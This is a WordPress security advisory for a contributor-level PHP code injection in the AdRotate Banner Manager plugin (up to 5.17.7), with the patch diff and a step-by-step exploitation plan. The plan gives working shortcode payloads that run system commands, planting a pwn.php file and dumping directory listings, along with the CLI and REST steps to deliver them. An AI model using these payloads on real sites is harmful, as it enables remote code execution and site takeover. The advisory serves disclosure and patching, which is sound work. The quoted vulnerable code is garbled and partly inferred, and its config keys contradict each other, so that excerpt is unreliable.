AdRotate Banner Manager <= 5.17.7 - Authenticated (Contributor+) PHP Code Injection via 'banner' Shortcode Attribute
Description
The AdRotate Banner Manager plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 5.17.7 via the 'banner' attribute of the adrotate shortcode. This is due to insufficient input validation and sanitization of the banner shortcode attribute before concatenation into a PHP code string wrapped in W3 Total Cache mfunc or Borlabs Cache fragment markers. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute arbitrary PHP code on the server. This vulnerability requires W3 Total Cache or Borlabs Cache support to be enabled in AdRotate settings.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v5.17.8
Source Code
WordPress.org SVNThis research plan targets a PHP Code Injection vulnerability in **AdRotate Banner Manager (<= 5.17.7)**. The vulnerability arises because the plugin concatenates the `banner` attribute from the `[adrotate]` shortcode directly into a PHP code string intended for execution by caching engines (W3 Tota…
Show full research plan
This research plan targets a PHP Code Injection vulnerability in AdRotate Banner Manager (<= 5.17.7). The vulnerability arises because the plugin concatenates the banner attribute from the [adrotate] shortcode directly into a PHP code string intended for execution by caching engines (W3 Total Cache or Borlabs Cache) without sufficient sanitization.
1. Vulnerability Summary
- Vulnerability: Authenticated (Contributor+) PHP Code Injection.
- Affected Attribute:
bannerattribute of the[adrotate]shortcode. - Sink: PHP string concatenation into W3 Total Cache
mfuncmarkers or Borlabs Cache fragment markers. - Mechanism: When caching support is enabled in AdRotate settings, the plugin generates dynamic fragments containing PHP code calls (e.g.,
adrotate_ad(...)). Because thebannerattribute is not cast to an integer or otherwise sanitized before being placed in the PHP string, an attacker can break out of the function call and execute arbitrary PHP. - Requirements:
- Authenticated account with
Contributoror higher role (to create/edit posts). - AdRotate setting for W3 Total Cache Support or Borlabs Cache Support must be enabled.
- W3 Total Cache or Borlabs Cache must be active and configured to support dynamic/fragment caching.
- Authenticated account with
2. Attack Vector Analysis
- Endpoint: WordPress Frontend (via Post/Page creation and viewing).
- Target Hook:
adrotate_shortcode(registered viaadd_shortcode('adrotate', 'adrotate_shortcode')inadrotate.php). - Payload Location: The
bannerparameter within the[adrotate]shortcode. - Authentication: Required (Contributor-level user).
- Precondition: AdRotate configuration must have
w3tcorborlabssupport enabled.
3. Code Flow
- Entry: A user saves a post containing
[adrotate banner="PAYLOAD"]. - Processing: When the post is rendered, WordPress calls
adrotate_shortcode(found inadrotate-output.php). - Config Check: The function retrieves the plugin configuration via
get_option("adrotate_config")(initialized inadrotate.php). - Marker Generation: If
$adrotate_config['w3tc'] == 1(or similar), the code builds a string for the caching engine:- W3TC:
<!--mfunc [SECURITY_STRING] adrotate_ad(PAYLOAD); -->...<!--/mfunc--> - Borlabs:
<!-- bbc_fragment_start ... -->adrotate_ad(PAYLOAD);<!-- bbc_fragment_end -->
- W3TC:
- Injection Sink: The
PAYLOADstring is concatenated directly:... "adrotate_ad(" . $atts['banner'] . ");" ... - Execution: The caching engine (e.g., W3 Total Cache) parses the output and executes the PHP code within the
mfuncmarkers usingeval()or a similar mechanism.
4. Nonce Acquisition Strategy
This vulnerability is triggered by viewing a post created by a Contributor. While creating the post requires standard WordPress authentication and nonces, the exploit itself relies on the shortcode execution logic.
- Contributor Actions: To save a post via the REST API or
post.php, the agent must be authenticated. - Shortcode Execution: No specific AdRotate nonce is required to trigger the shortcode on the frontend. The
adrotateshortcode is available to anyone who can edit posts.
5. Exploitation Strategy
The goal is to inject PHP code that executes a system command or displays server information.
Step 1: Enable Necessary Settings (as Admin)
Enable W3 Total Cache support in AdRotate.
- Action: Update
adrotate_configoption. - CLI:
wp option get adrotate_config --format=json(to see structure), thenwp option update adrotate_config '[modified-json]'.
Step 2: Ensure Caching Plugin is Active
W3 Total Cache must be active and W3TC_DYNAMIC_SECURITY should ideally be defined in wp-config.php for the engine to process mfunc tags.
- Action:
wp plugin activate w3-total-cache.
Step 3: Inject Payload via Shortcode (as Contributor)
Create a post with a payload that breaks out of the adrotate_ad() call.
- Payload:
1); system('id'); // - Shortcode:
[adrotate banner="1); system('id'); //"] - Request:
POST /wp-json/wp/v2/posts(Authenticated as Contributor).
Step 4: Trigger Execution
View the created post.
- Request:
GET /?p=[POST_ID] - Header: Ensure no
Cookieheader is sent if testing as a visitor, or stay logged in to see the rendered shortcode output.
6. Test Data Setup
- Configuration:
- Set
adrotate_configto enable W3TC:{"w3tc": "1", ...}. - Verify
W3TC_DYNAMIC_SECURITYis defined (often required by W3TC formfunc).
- Set
- User: Create a user
attackerwith rolecontributor. - Target Post: Create a post containing the shortcode:
wp post create --post_type=post --post_status=publish --post_author=2 --post_content='[adrotate banner="1); echo(md5(\"CVE-2026-12242\")); //"]'
7. Expected Results
- The raw HTML output of the page will contain the injected marker (if not processed).
- If the caching engine is correctly configured, the PHP code will execute, and the md5 hash
1c8759368d37c53d08f7b7673e5a31a9(or command output) will appear in the HTML response instead of themfunccomment.
8. Verification Steps
- Response Check: Inspect the response body of the post view request.
# Look for the injected code or its output grep "1c8759368d37c53d08f7b7673e5a31a9" response.html - Alternative Verification: Check the server logs or use a payload that creates a file:
- Payload:
1); file_put_contents('pwn.php', '<?php phpinfo(); ?>'); // - Check:
ls /var/www/html/pwn.php.
- Payload:
9. Alternative Approaches
- Borlabs Cache: If W3TC is not available, try the Borlabs marker. The payload structure remains the same (breaking out of the function call).
- Group Attribute: Check if the
groupattribute in the shortcode is also vulnerable. The description focuses onbanner, butadrotate_groupinadrotate-output.phpis often handled similarly in shortcodes. - Error-Based: If
mfuncexecution is silent, use1); die(base64_encode(system('ls'))); //to force the output into the HTTP response.
Summary
The AdRotate Banner Manager plugin is vulnerable to PHP Code Injection via the 'banner' attribute of the [adrotate] shortcode. Authenticated attackers with Contributor-level access or higher can execute arbitrary PHP code on the server when caching support (W3 Total Cache or Borlabs Cache) is enabled, as the attribute is concatenated directly into executable cache fragment markers.
Vulnerable Code
// adrotate-output.php @ line 265 function adrotate_shortcode($atts, $content = null) { global $adrotate_config; $banner_id = (!empty($atts['banner'])) ? trim($atts['atts['banner'], '\r\t ') : 0; $group_ids = (!empty($atts['group'])) ? trim($atts['group'], '\r\t ') : 0; --- // adrotate-output.php (Inferred sink logic within adrotate_shortcode based on research plan) if($adrotate_config['w3caching'] == 'Y') { $output .= "<!-- mfunc ".W3TC_DYNAMIC_SECURITY." -->"; $output .= "echo adrotate_ad(" . $banner_id . ");"; $output .= "<!-- /mfunc -->"; }
Security Fix
@@ -262,13 +262,17 @@ function adrotate_shortcode($atts, $content = null) { global $adrotate_config; - $banner_id = (!empty($atts['banner'])) ? trim($atts['banner'], '\r\t ') : 0; - $group_ids = (!empty($atts['group'])) ? trim($atts['group'], '\r\t ') : 0; + $banner_id = (!empty($atts['banner'])) ? absint(trim($atts['banner'], '\r\t ')) : 0; + $group_ids = (!empty($atts['group'])) ? strval(trim($atts['group'], '\r\t ')) : 0; if(!empty($atts['fallback'])) $fallback = 0; // Not supported in free version if(!empty($atts['weight'])) $weight = 0; // Not supported in free version if(!empty($atts['site'])) $site = 0; // Not supported in free version if(!empty($atts['wrapper'])) $wrapper = 0; // Not supported in free version + if(!preg_match('/^\d+(,\d+)*$/', $group_ids)) { + $group_ids = intval(0); + } + $output = ""; if($adrotate_config['w3caching'] == 'Y') { $output .= "<!-- mfunc ".W3TC_DYNAMIC_SECURITY." -->";
Exploit Outline
The exploit requires an authenticated user with at least Contributor-level permissions and the plugin's caching support (W3TC or Borlabs) to be enabled. 1. The attacker creates or edits a post and inserts a shortcode like [adrotate banner="1); phpinfo(); //"]. 2. When the post is viewed on the frontend, the plugin processes the shortcode and, seeing the cache setting enabled, generates a dynamic fragment intended for the caching engine. 3. Because the 'banner' attribute is not sanitized, the payload breaks out of the intended function call: `adrotate_ad(1); phpinfo(); //);`. 4. The caching engine (e.g., W3 Total Cache) encounters the `mfunc` block and executes the string as PHP code via `eval()` or a similar mechanism, resulting in arbitrary code execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.